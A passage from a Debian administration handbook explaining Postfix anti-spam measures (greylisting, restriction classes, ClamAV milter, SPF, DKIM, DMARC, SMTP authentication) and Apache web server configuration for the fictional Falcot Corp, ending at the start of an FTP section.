The first one checks the header mentioning the email software; if GOTO Sarbacane (a bulk email software) is found, the message is rejected. The second expression controls the message subject; if it mentions a virus notification, we can decide not to reject the message but to discard it immediately instead.

Using these filters is a double-edged sword, because it is easy to make the rules too generic and to lose legitimate emails as a consequence. In these cases, not only the messages will be lost, but their senders will get unwanted (and annoying) error messages.

11.1.4. Setting Up greylisting

“Greylisting” is a filtering technique according to which a message is initially rejected with a temporary error code, and only accepted after a further delivery attempt with some delay. This filtering is particularly efficient against spam sent by the many machines infected by worms and viruses, since this software rarely acts as a full SMTP agent (by checking the error code and retrying failed messages later), especially since many of the harvested addresses are really invalid and retrying would only mean losing time.

Postfix doesn't provide greylisting natively, but there is a feature by which the decision to accept or reject a given message can be delegated to an external program. The postgrey package contains just such a program, designed to interface with this access policy delegation service.

Once postgrey is installed, it runs as a daemon and listens on port 10023. Postfix can then be configured to use it, by adding the check_policy_service parameter as an extra restriction:

smtpd_recipient_restrictions =

permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10023

Each time Postfix reaches this rule in the rule set, it will connect to the postgrey daemon and send it information concerning the relevant message. On its side, Postgrey considers the IP address/sender/recipient triplet and checks in its database whether that same triplet has been seen recently. If so, Postgrey replies that the message should be accepted; if not, the reply indicates that the message should be temporarily rejected, and the triplet gets recorded in the database.

The main disadvantage of greylisting is that legitimate messages get delayed, which is not always acceptable. It also increases the burden on servers that send many legitimate emails.

IN PRACTICE Shortcomings of greylisting

Theoretically, greylisting should only delay the first mail from a given sender to a given recipient, and the typical delay is in the order of minutes. Reality, however, can differ slightly. Some large ISPs use clusters of SMTP servers, and when a message is initially rejected, the server that retries the transmission may not be the same as the initial one. When that happens, the second server gets a temporary error message due to greylisting too, and so on; it may take several hours until transmission is attempted by a server that has already been involved, since SMTP servers usually increase the delay between retries at each failure.

As a consequence, the incoming IP address may vary in time even for a single sender. But it goes further: even the sender address can change. For instance, many mailing-list servers encode extra information in the sender address so as to be able to handle error messages (known as bounces). Each new message sent to a mailing-list may then need to go through greylisting, which means it has to be stored (temporarily) on the sender's server. For very large mailing-lists (with tens of thousands of subscribers), this can soon become a problem.

To mitigate these drawbacks, Postgrey manages a whitelist of such sites, and messages emanating from them are immediately accepted without going through greylisting. This list can easily be adapted to local needs, since it is stored in the /etc/postgrey/whitelist_clients file.

GOING FURTHER Selective greylisting with milter-greylist

The drawbacks of greylisting can be mitigated by only using greylisting on the subset of clients that are already considered as probable sources of spam (because they are listed in a DNS blacklist). This is not possible with postgrey but milter-greylist can be used in such a way.

In that scenario, since DNS blacklists never triggers a definitive rejection, it becomes reasonable to use aggressive blacklists, including those listing all dynamic IP addresses from ISP clients (such as pbl.spamhaus.org or dul.dnsbl.sorbs.net).

Since milter-greylist uses Sendmail's milter interface, the postfix side of its configuration is limited to “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. The greylist.conf(5) manual page documents /etc/milter-greylist/greylist.conf and the numerous ways to configure milter-greylist. You will also have to edit /etc/default/milter-greylist to actually enable the service.

11.1.5. Customizing Filters Based On the Recipient

節 11.1.3, “Restrictions for Receiving and Sending” and 節 11.1.4, “Setting Up greylisting” reviewed many of the possible restrictions. They all have their use in limiting the amount of received spam, but they also all have their drawbacks. It is therefore more and more common to customize the set of filters depending on the recipient. At Falcot Corp, greylisting is interesting for most users, but it hinders the work of some users who need low latency in their emails (such as the technical support service). Similarly, the commercial service sometimes has problems receiving emails from some Asian providers who may be listed in blacklists; this service asked for a non-filtered address so as to be able to correspond.

Postfix provides such a customization of filters with a “restriction class” concept. The classes are declared in the smtpd_restriction_classes parameter, and defined the same way as smtpd_recipient_restrictions. The check_recipient_access directive then defines a table mapping a given recipient to the appropriate set of restrictions.

範例 11.9. Defining restriction classes in main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023

aggressive =

reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:10023

permissive = permit

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

範例 11.10. The /etc/postfix/recipient_access file

# Unfiltered addresses

postmaster@falcot.com  permissive

support@falcot.com     permissive

sales-asia@falcot.com  permissive

# Aggressive filtering for some privileged users

joe@falcot.com         aggressive

# Special rule for the mailing-list manager

sympa@falcot.com       reject_unverified_sender

# Greylisting by default

falcot.com             greylisting

11.1.6. Integrating an Antivirus Filter

The many viruses circulating as attachments to emails make it important to set up an antivirus solution at the entry point of the company network, since despite an awareness campaign, some users will still open attachments from obviously shady messages.

SECURITY Controversial Discussion of Anti-Virus Software

The usage of virus scanners, or so called antivirus software, is controversial. There is usually a gap between the release of some piece of malware and the addition of detection rules to the antivirus database. During this gap, there is no software-based protection. Further, the usage often requires to run additional software, for example, to uncompress archives and scan all kinds of executables, which drastically increases the exploit potential of the antivirus software itself. Usage of such software solutions can therefor never replace awareness campaigns and simple behavioral rules (never open unsolicited sent attachments, etc.).

The Falcot administrators selected clamav from the homonymous package.

The task of interfacing between antivirus and the email server goes to clamav-milter. A milter (short for mail filter) is a filtering program specially designed to interface with email servers. A milter uses a standard application programming interface (API) that provides much better performance than filters external to the email servers. Milters were initially introduced by Sendmail, but Postfix soon followed suit.

QUICK LOOK A milter for Spamassassin

The spamass-milter package provides a milter based on SpamAssassin, the famous unsolicited email detector. It can be used to flag messages as probable spams (by adding an extra header) and/or to reject the messages altogether if their “spamminess” score goes beyond a given threshold.

Once the clamav-milter package is installed, the milter should be reconfigured to run on a TCP port rather than on the default named socket. This can be achieved with dpkg-reconfigure clamav-milter. When prompted for the “Communication interface with Sendmail”, answer “inet:10002@127.0.0.1”.

NOTE Real TCP port vs named socket

The reason why we use a real TCP port rather than the named socket is that the postfix daemons often run chrooted and do not have access to the directory hosting the named socket. You could also decide to keep using a named socket and pick a location within the chroot (/var/spool/postfix/).

The standard ClamAV configuration fits most situations, but some important parameters can still be customized with dpkg-reconfigure clamav-base.

The last step involves telling Postfix to use the recently-configured filter. This is a simple matter of adding the following directive to /etc/postfix/main.cf:

# Virus check with clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

If the antivirus causes problems, this line can be commented out, and systemctl reload postfix should be run so that this change is taken into account.

IN PRACTICE Testing the antivirus

Once the antivirus is set up, its correct behavior should be tested. The simplest way to do that is to send a test email with an attachment containing the eicar.com (or eicar.com.zip) file, which can be downloaded online:

→ https://2016.eicar.org/86-0-Intended-use.html

This file is not a true virus, but a test file that all antivirus software on the market diagnose as a virus to allow checking installations.

All messages handled by Postfix now go through the antivirus filter.

11.1.7. Fighting Spam with SPF, DKIM and DMARC

The high number of unsolicited email sent every day led to the creation of several standards, which aim at validating that the sending host of an email is authorized and that the email has not been tampered with. The following systems are all DNS-based and require the administrators to not only have control over the mail server, but over the DNS for the domain in question too.

CAUTION Controversial Discussion

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefore these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. Integrating the Sender Policy Framework (SPF)

The Sender Policy Framework (SPF) is used to validate if a certain mail server is allowed to send emails for a given domain. It is mostly configured through DNS. The syntax for the entry to make is explained in detail at:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to send email for the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org

Type: TXT

TTL:  3600

Data: v=spf1 a mx -all

Let's take a quick look at the falcot.org entry.

# host -t TXT falcot.org

falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

It states that the IP of the sender must match the A record for the sending domain, or must be listed as one of the Mail Exchange Resource Records for the current domain, or must be one of the three mentioned IP4 addresses. All other hosts should be marked as not being allowed to send email for the sender domain. The latter is called a "soft fail" and is intended to mark the email accordingly, but still accept it.

The postfix mail server can check the SPF record for incoming emails using the postfix-policyd-spf-python package, a policy agent written in Python. The file /usr/share/doc/postfix-policyd-spf-python/README.Debian describes the necessary steps to integrate the agent into postfix, so we won't repeat it here.

The configuration is done in the file /etc/postfix-policyd-spf-python/policyd-spf.conf, which is fully documented in policyd-spf.conf(5) and /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. The main configuration parameters are HELO_reject and Mail_From_reject, which configure if emails should be rejected (Fail) or accepted with a header being appended (False), if checks fail. The latter is often useful, when the message is further processed by a spam filter.

If the result is intended to be used by opendmarc (節 11.1.7.3, “Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)”), then Header_Type must be set to AR.

Note that spamassassin contains a plugin to check the SPF record.

11.1.7.2. Integrating DomainKeys (DKIM) Signing and Checking

The Domain Keys Identified Mail (DKIM) standard is a sender authentication system. The mail transport agent, here postfix, adds a digital signature associated with the domain name to the header of outgoing emails. The receiving party can validate the message body and header fields by checking the signature against a public key, which is retrieved from the senders DNS records.

→ http://dkim.org/

The necessary tools are shipped with the opendkim and opendkim-tools packages.

CAUTION Mailing List Software and DKIM

Mailing list managers often rewrite some email headers, thus leading to invalid DKIM signatures. Even using a relaxed canonicalization does not always prevent this from happening. So the administrators must pay close attention to the mail severs log files to identify such issues. Otherwise such emails might be flagged as spam and might get rejected.

First the private key must be created using the command opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR must be a unique name for the key. It can be as simple as "mail" or the date of creation, if you plan to rotate keys.

範例 11.11. Create a private key for signing E-Mails from falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys

# chown opendkim.opendkim /etc/dkimkeys/mail.*

This will create the files /etc/dkimkeys/mail.private and /etc/dkimkeys/mail.txt and set the appropriate ownership. The first file contains the private key, and the latter the public key that needs to be added to the DNS:

Name: mail._domainkey

Type: TXT

TTL:  3600

Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

The opendkim package in Debian defaults to a keysize of 2048 bit. Unfortunately some DNS servers can only handle text entries with a maximum length of 255 characters, which is exceeded by the chosen default keysize. In this case use the option -b 1024 to chose a smaller keysize. If opendkim-testkey succeeds, the entry has been successfully set up. The syntax of the entry is explained here:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

To configure opendkim, SOCKET and RUNDIR must be chosen in /etc/default/opendkim. Please note that SOCKET must be accessible from postfix in its chrooted environment. The further configuration is done in /etc/opendkim.conf. The following is a configuration excerpt, which makes sure that the Domain "falcot.com" and all subdomains (SubDomain) are signed by the Selector "mail" and the single private key (KeyFile) /etc/dkimkeys/mail.private. The "relaxed" Canonicalization for both the header and the body tolerates mild modification (by a mailing list software, for example). The filter runs both in signing ("s") and verification ("v") Mode. If a signature fails to validate (On-BadSignature), the mail should be quarantined ("q").

[...]

Domain                  falcot.com

KeyFile                 /etc/dkimkeys/mail.private

Selector                mail

[...]

Canonicalization        relaxed/relaxed

Mode                    sv

On-BadSignature         q

SubDomains              yes

[...]

Socket                  inet:12345@localhost

[...]

UserID                  opendkim

It is also possible to use multiple selectors/keys (KeyTable), domains (SigningTable) and to specify internal or trusted hosts (InternalHosts, ExternalIgnoreList), which may send mail through the server as one of the signing domains without credentials.

The following directives in /etc/postfix/main.cf make postfix use the filter:

milter_default_action = accept

non_smtpd_milters = inet:localhost:12345

smtpd_milters = inet:localhost:12345

To differentiate signing and verification it is sometimes more useful to add the directives to the services in /etc/postfix/master.cf instead.

More information is available in the /usr/share/doc/opendkim/ directory and the manual pages opendkim(8) and opendkim.conf(5).

Note that spamassassin contains a plugin to check the DKIM record.

11.1.7.3. Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)

The Domain-based Message Authentication, Reporting and Conformance (DMARC) standard can be used to define a DNS TXT entry with the name _dmarc and the action that should be taken when emails that contain your domain as the sending host fail to validate using DKIM and SPF.

→ https://dmarc.org/overview/

Let's have a look at the entries of two large providers:

# host -t TXT _dmarc.gmail.com

_dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com"

# host -t TXT _dmarc.yahoo.com

_dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo has a strict policy to reject all emails pretending to be sent from a Yahoo account but missing or failing DKIM and SPF checks. Google Mail (Gmail) propagates a very relaxed policy, in which such messages from the main domain should still be accepted (p=none). For subdomains they should be marked as spam (sp=quarantine). The addresses given in the rua key can be used to send aggregated DMARC reports to. The full syntax is explained here:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

The postfix mail server can use this information too. The opendmarc package contains the necessary milter. Similar to opendkim SOCKET and RUNDIR must be chosen in /etc/default/opendmarc (for Unix sockets you must make sure that they are inside the postfix chroot to be found). The configuration file /etc/opendmarc.conf contains detailed comments and is also explained in opendmarc.conf(5). By default, emails failing the DMARC validation are not rejected but flagged, by adding an appropriate header field. To change this, use RejectFailures true.

The milter is then added to smtpd_milters and non_smtpd_milters. If we configured the opendkim and opendmarc milters to run on ports 12345 and 54321, the entry in /etc/postfix/main.cf looks like this:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321

smtpd_milters = inet:localhost:12345,inet:localhost:54321

The milter can also be selectively applied to a service in /etc/postfix/master.cf instead.

11.1.8. Authenticated SMTP

Being able to send emails requires an SMTP server to be reachable; it also requires said SMTP server to send emails through it. For roaming users, this may need regularly changing the configuration of the SMTP client, since Falcot's SMTP server rejects messages coming from IP addresses apparently not belonging to the company. Two solutions exist: either the roaming user installs an SMTP server on their computer, or they still use the company server with some means of authenticating as an employee. The former solution is not recommended since the computer won't be permanently connected, and it won't be able to retry sending messages in case of problems; we will focus on the latter solution.

SMTP authentication in Postfix relies on SASL (Simple Authentication and Security Layer). It requires installing the libsasl2-modules and sasl2-bin packages, then registering a password in the SASL database for each user that needs authenticating on the SMTP server. This is done with the saslpasswd2 command, which takes several parameters. The -u option defines the authentication domain, which must match the smtpd_sasl_local_domain parameter in the Postfix configuration. The -c option allows creating a user, and -f allows specifying the file to use if the SASL database needs to be stored at a different location than the default (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... type jean's password twice ...]

Note that the SASL database was created in Postfix's directory. In order to ensure consistency, we also turn /etc/sasldb2 into a symbolic link pointing at the database used by Postfix, with the ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2 command.

Now we need to configure Postfix to use SASL. First the postfix user needs to be added to the sasl group, so that it can access the SASL account database. A few new parameters are also needed to enable SASL, and the smtpd_recipient_restrictions parameter needs to be configured to allow SASL-authenticated clients to send emails freely.

範例 11.12. Enabling SASL in /etc/postfix/main.cf

# Enable SASL authentication

smtpd_sasl_auth_enable = yes

# Define the SASL authentication domain to use

smtpd_sasl_local_domain = $myhostname

[...]

# Adding permit_sasl_authenticated before reject_unauth_destination

# allows relaying mail sent by SASL-authenticated users

smtpd_recipient_restrictions =

permit_sasl_authenticated,

permit_mynetworks,

reject_unauth_destination,

[...]

It is usually a good idea to not send passwords over an unencrypted connection. Postfix allows to use different configurations for each port (service) it runs on. All these can be configured with different rules and directives in the /etc/postfix/master.cf file. To turn off authentication at all for port 25 (smtpd service) add the following directive:

smtp      inet  n       -       y       -       -       smtpd

[..]

-o smtpd_sasl_auth_enable=no

[..]

If for some reason clients use an outdated AUTH command (some very old mail clients do), interoperability with them can be enabled using the broken_sasl_auth_clients directive.

EXTRA Authenticated SMTP client

Most email clients are able to authenticate to an SMTP server before sending outgoing messages, and using that feature is a simple matter of configuring the appropriate parameters. If the client in use does not provide that feature, the workaround is to use a local Postfix server and configure it to relay email via the remote SMTP server. In this case, the local Postfix itself will be the client that authenticates with SASL. Here are the required parameters:

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

The /etc/postfix/sasl_passwd file needs to contain the username and password to use for authenticating on the mail.falcot.com server. Here is an example:

[mail.falcot.com]   joe:LyinIsji

As for all Postfix maps, this file must be turned into /etc/postfix/sasl_passwd.db with the postmap command.

11.2. Web Server (HTTP)

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Bullseye at version 2.4.52.

ALTERNATIVE Other web servers

Apache is probably the most widely-known web server, but there are others. Its major opponent is nginx, which comes in different packages with different sets of features, like nginx-light, nginx-full, or nginx-extras. Another alternative is lighttpd. All of them can offer very good or even better performance under certain workloads or in certain situations, but not all provide the same number of available features and modules.

11.2.1. Installing Apache

Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests, which used to be provided in separate apache2-mpm-* packages. It will also pull apache2-utils containing the command line utilities that we will discover later.

The MPM in use affects significantly the way Apache will handle concurrent requests. With the worker MPM, it uses threads (lightweight processes), whereas with the prefork MPM it uses a pool of processes created in advance. With the event MPM it also uses threads, but the inactive connections (notably those kept open by the HTTP keep-alive feature) are handed back to a dedicated management thread.

The Falcot administrators also install libapache2-mod-php so as to include the PHP 7.4 support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php-fpm.

SECURITY Execution under the www-data user

By default, Apache handles incoming requests under the identity of the www-data user as defined in /etc/apache2/envvars. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.

Using the suexec modules, provided by apache2-suexec-* packages, allows bypassing this rule so that some CGI scripts are executed under the identity of another user. This is configured with a SuexecUserGroup usergroup directive in the Apache configuration.

Another possibility is to use a dedicated MPM, such as the one provided by libapache2-mpm-itk. This particular one has a slightly different behavior: it allows “isolating” virtual hosts (actually, sets of pages) so that they each run as a different user. A vulnerability in one website therefore cannot compromise files belonging to the owner of another website.

QUICK LOOK List of modules

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/

Apache is a modular server, and many features are implemented by external modules that the main program loads during its initialization. The default configuration only enables the most common modules, but enabling new modules is a simple matter of running a2enmod module; to disable a module, the command is a2dismod module. These programs actually only create (or delete) symbolic links in /etc/apache2/mods-enabled/, pointing at the actual files (stored in /etc/apache2/mods-available/).

IN PRACTICE Checking the configuration

The mod_info module (a2enmod info) allows to access the comprehensive Apache server configuration and information via browser visiting http://localhost/server-info. Because it might contain sensitive information, access is only allowed from the local host by default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

With its default configuration, the web server listens on port 80 (as configured in /etc/apache2/ports.conf), and serves pages from the /var/www/html/ directory (as configured in /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adding support for SSL

Apache 2.4 includes the SSL module (mod_ssl) required for secure HTTP (HTTPS) out of the box. It just needs to be enabled with a2enmod ssl, then the required directives have to be added to the configuration files. A configuration example is provided in /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

If you want to generate trusted certificates, you can follow section 節 10.2.1, “Creating gratis trusted certificates” and then adjust the following variables:

SSLCertificateFile      /etc/letsencrypt/live/DOMAIN/fullchain.pem

SSLCertificateKeyFile   /etc/letsencrypt/live/DOMAIN/privkey.pem

SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem

SSLCACertificateFile    /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromise of the server's secret key does not result in the compromise of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command. Unfortunately the version packaged for Debian had serious issues and even security implications and is therefor not part of the Debian Bullseye release.

→ https://mod.gnutls.org/

11.2.3. Configuring Virtual Hosts

A virtual host is an extra identity for the web server.

Apache considers two different kinds of virtual hosts: those that are based on the IP address (or the port), and those that rely on the domain name of the web server. The first method requires allocating a different IP address (or port) for each site, whereas the second one can work on a single IP address (and port), and the sites are differentiated by the hostname sent by the HTTP client (which only works in version 1.1 of the HTTP protocol — fortunately that version is old enough that all clients use it already).

The (increasing) scarcity of IPv4 addresses usually favors the second method; however, it is made more complex if the virtual hosts need to provide HTTPS too, since the SSL protocol hasn't always provided for name-based virtual hosting; the SNI extension (Server Name Indication) that allows such a combination is not handled by all browsers. When several HTTPS sites need to run on the same server, they will usually be differentiated either by running on a different port or on a different IP address (IPv6 can help there).

The default configuration for Apache 2 enables name-based virtual hosts. In addition, a default virtual host is defined in the /etc/apache2/sites-enabled/000-default.conf file; this virtual host will be used if no host matching the request sent by the client is found.

CAUTION First virtual host

Requests concerning unknown virtual hosts will always be served by the first defined virtual host, which is why we defined www.falcot.com first here.

QUICK LOOK Apache supports SNI

The Apache server supports an SSL protocol extension called Server Name Indication (SNI). This extension allows the browser to send the hostname of the web server during the establishment of the SSL connection, much earlier than the HTTP request itself, which was previously used to identify the requested virtual host among those hosted on the same server (with the same IP address and port). This allows Apache to select the most appropriate SSL certificate for the transaction to proceed.

Before SNI, Apache would always use the certificate defined in the default virtual host. Clients trying to access another virtual host would then display warnings, since the certificate they received didn't match the website they were trying to access. Fortunately, most browsers now work with SNI; this includes Microsoft Internet Explorer starting with version 7.0 (starting on Vista), Mozilla Firefox starting with version 2.0, Apple Safari since version 3.2.1, and all versions of Google Chrome.

The Apache package provided in Debian is built with support for SNI; no particular configuration is therefore needed.

Each extra virtual host is then described by a file stored in /etc/apache2/sites-available/. Setting up a website for the falcot.org domain is therefore a simple matter of creating the following file, then enabling the virtual host with a2ensite www.falcot.org.

範例 11.13. The /etc/apache2/sites-available/www.falcot.org.conf file

<VirtualHost *:80>

ServerName   www.falcot.org

ServerAlias  falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

The Apache server, as configured so far, uses the same log files for all virtual hosts (although this could be changed by adding CustomLog directives in the definitions of the virtual hosts). It therefore makes good sense to customize the format of this log file to have it include the name of the virtual host. This can be done by creating a /etc/apache2/conf-available/customlog.conf file that defines a new format for all log files (with the LogFormat directive) and by enabling it with a2enconf customlog. The CustomLog line must also be removed (or commented out) from the /etc/apache2/sites-available/000-default.conf file.

範例 11.14. The /etc/apache2/conf-available/customlog.conf file

# New log format including (virtual) host name

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Now let's use this "vhost" format by default

CustomLog /var/log/apache2/access.log vhost

11.2.4. Common Directives

This section briefly reviews some of the commonly-used Apache configuration directives.

The main configuration file usually includes several Directory blocks; they allow specifying different behaviors for the server depending on the location of the file being served. Such a block commonly includes Options and AllowOverride directives.

範例 11.15. Directory block

<Directory /srv/www>

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

The DirectoryIndex directive contains a list of files to try when the client request matches a directory. The first existing file in the list is used and sent as a response.

The Options directive is followed by a list of options to enable. The None value disables all options; correspondingly, All enables them all except MultiViews. Available options include:

- ExecCGI indicates that CGI scripts can be executed.

- FollowSymlinks tells the server that symbolic links can be followed, and that the response should contain the contents of the target of such links.

- SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and its target have the same owner.

- Includes enables Server Side Includes (SSI for short). These are directives embedded in HTML pages and executed on the fly for each request.

- IncludesNOEXEC allows Server Side Includes (SSI) but disables the exec command and limits the include directive to text/markup files.

- Indexes tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (i.e., when no files mentioned by the DirectoryIndex directive exists in this directory).

- MultiViews enables content negotiation; this can be used by the server to return a web page matching the preferred language as configured in the browser.

BACK TO BASICS .htaccess file

The .htaccess file contains Apache configuration directives enforced each time a request concerns an element of the directory where it is stored. The scope of these directives also recurses to all the subdirectories within.

Most of the directives that can occur in a Directory block are also legal in a .htaccess file.

The AllowOverride directive lists all the options that can be enabled or disabled by way of a .htaccess file. A common use of this option is to restrict ExecCGI, so that the administrator chooses which users are allowed to run programs under the web server's identity (the www-data user).

11.2.4.1. Requiring Authentication

In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents. These feature are provided by the mod_auth* modules.

範例 11.16. .htaccess file requiring authentication

Require valid-user

AuthName "Private directory"

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-private

SECURITY No security

The authentication system used in the above example (Basic) has minimal security as the password is sent in clear text (it is only encoded as base64, which is a simple encoding rather than an encryption method). It should also be noted that the documents “protected” by this mechanism also go over the network in the clear. If security is important, the whole HTTP connection should be encrypted with SSL.

The /etc/apache2/authfiles/htpasswd-private file contains a list of users and passwords; it is commonly manipulated with the htpasswd command. For example, the following command is used to add a user or change their password:

# htpasswd /etc/apache2/authfiles/htpasswd-private user

New password:

Re-type new password:

Adding password for user user

11.2.4.2. Restricting Access

The Require directive controls access restrictions for a directory (and its subdirectories, recursively).

→ https://httpd.apache.org/docs/2.4/howto/access.html

It can be used to restrict access based on many criteria; we will stop at describing access restriction based on the IP address of the client, but it can be made much more powerful than that, especially when several Require directives are combined within a RequireAll block.

範例 11.17. Only allow from the local network

Require ip 192.168.0.0/16

ALTERNATIVE Old syntax

The Require syntax is only available in Apache 2.4 (the version shipped since Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using the mod_access_compat module.

The Allow from and Deny from directives control access restrictions for a directory (and its subdirectories, recursively).

The Order directive tells the server of the order in which the Allow from and Deny from directives are applied; the last one that matches takes precedence. In concrete terms, Order deny,allow allows access if no Deny from applies, or if an Allow from directive does. Conversely, Order allow,deny rejects access if no Allow from directive matches (or if a Deny from directive applies).

The Allow from and Deny from directives can be followed by an IP address, a network (such as 192.168.0.0/255.255.255.0, 192.168.0.0/24 or even 192.168.0), a hostname or a domain name, or the all keyword, designating everyone.

For instance, to reject connections by default but allow them from the local network, you could use this:

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.5. Log Analyzers

A log analyzer is frequently installed on a web server; since the former provides the administrators with a precise idea of the usage patterns of the latter.

The Falcot Corp administrators selected AWStats (Advanced Web Statistics) to analyze their Apache log files.

The first configuration step is the customization of the /etc/awstats/awstats.conf file. The Falcot administrators keep it unchanged apart from the following parameters:

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

LoadPlugin="tooltips"

All these parameters are documented by comments in the template file. In particular, the LogFile and LogFormat parameters describe the location and format of the log file and the information it contains; SiteDomain and HostAliases list the various names under which the main web site is known.

For high traffic sites, DNSLookup should usually not be set to 1; for smaller sites, such as the Falcot one described above, this setting allows getting more readable reports that include full machine names instead of raw IP addresses.

SECURITY Access to statistics

AWStats makes its statistics available on the website with no restrictions by default, but restrictions can be set up so that only a few (probably internal) IP addresses can access them; the list of allowed IP addresses needs to be defined in the AllowAccessFromWebToFollowingIPAddresses parameter

AWStats will also be enabled for other virtual hosts; each virtual host needs its own configuration file, such as /etc/awstats/awstats.www.falcot.org.conf.

範例 11.18. AWStats configuration file for a virtual host

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

AWStats uses many icons stored in the /usr/share/awstats/icon/ directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive (check out /usr/share/doc/awstats/examples/apache.conf for a more detailed example):

Alias /awstats-icon/ /usr/share/awstats/icon/

After a few minutes (and once the script has been run a few times), the results are available online:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

CAUTION Log file rotation

In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the prerotate directive of /etc/logrotate.d/apache2 file, this is solved by the awstats package by putting a script in /etc/logrotate.d/httpd-prerotate running /usr/share/awstats/tools/update.sh.

Note also that the log files created by logrotate need to be readable by everyone, especially AWStats. This is ensured by changing /etc/logrotate.d/apache2 to include create 644 root adm (instead of the default 640 permissions) for example. But please refer to /usr/share/doc/awstats/README.Debian.gz for a more extensive documentation about this topic and alternatives.

11.3. FTP File Server

FTP (File Transfer Protocol) is one of the first protocols of the Internet (RFC 959 was issued in 1985!). It was used to distribute files before the Web was even born (the HTTP protocol was created in 1990, and formally defined in its 1.0 version by RFC 1945, issued in 1996).

This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.

SECURITY FTP, FTPS, and SFTP

FTP is not a secure protocol. User names, passwords, and data are transported in clear text. To increase the security, one can use FTP via implicit (enforced) or explicit (requested) SSL/TLS, also known as FTPS, but not to be confused with SFTP, the SSH File Transfer Protocol, an alternative file transfer implementation using SSH. Many FTP server packages in Debian support FTPS.

Other FTP servers are mainly used to distribute files for public downloading; Debian packages are a good example. The contents of these servers is fetched from other, geographically remote, servers; it is then made available to less distant users. This means that client authentication is not required; as a consequence, this operating mode is known as “anonymous FTP”. To be perfectly correct, the clients do authenticate with the anonymous username; the password is often, by convention, the user's email address, but the server ignores it.

